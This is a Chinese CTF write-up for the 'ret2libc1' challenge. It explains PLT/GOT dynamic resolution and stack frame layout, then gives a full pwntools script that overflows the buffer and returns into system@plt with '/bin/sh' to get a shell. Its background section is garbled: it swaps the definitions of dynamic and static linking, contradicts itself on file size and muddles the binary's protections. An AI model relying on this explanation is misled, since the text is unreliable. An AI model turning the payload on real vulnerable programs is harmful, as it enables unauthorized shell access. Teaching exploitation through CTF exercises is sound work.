ROP动态链接
动态链接过程
动态链接和静态链接过程的区别是前者链接器在编译链接时将库代码加入到可执行程序中,后者程序装载进入内存时加载库代码解析外部引用,因此在静态链接的文件中,会发现文件比静态链接文件大许多,同时包含大量的解析函数。下面就来分析一下动态链接具体过程:
- 在ELF文件导入内存时,会通过ld.so装载器把lib.c加载到内存之中,但是会因为ASLR的开启而位置随机化
- 在函数第一次调用foo函数时,它会先去.plt表格中找是否有实际位置,第一次无所以要进一步查找
- 通过plt去.got.plt中寻找函数位置,因为第一次不存在所以跳回.plt原位,push index推入解析第几个函数,jmp PLT0,
push *(got+4)推入属于第几个动态链接库,jmp *(got+8)进入_dl_resolve解析,把解析的动态链接库中的地址值放入.got.plt中。 - 把.plt表的foo函数位置指向lib.c文件位置中
栈帧逐级关系
在这里进一步分析一下栈帧的关系:
- 父函数的ebp地址
- 子函数的返回地址(ret address)
- 当前局部变量
- 子函数的参数
- ret address上方是子函数的参数(arguments)
攻击背景
文件为ret2libc1,主要是利用一次栈帧子函数局部变量与父函数全局参数的关系,文件打开了栈保护但是没有防止溢出与代码随机化设置,不能考虑使用nop滑梯与后门函数攻击,找ROP后发现无法直接通过静态链接的方法去构建ROP。
攻击过程
进入IDAPRO去看一下文件,可以发现有一个system的函数,在动态链接库中任何.plt中函数都有其贡献值,同时查找:
接下来我们去找一下system的参数内容,可发现有一个”/bin/sh”的字符串,我们可以利用上述的栈帧原理构建payload。
Payload构建
from pwn import *
io = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_plt=elf.plt["system"]
bin_sh=next(elf.search(b"/bin/sh"))
payload = b'A'*112+p32(system_plt)+b'A'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()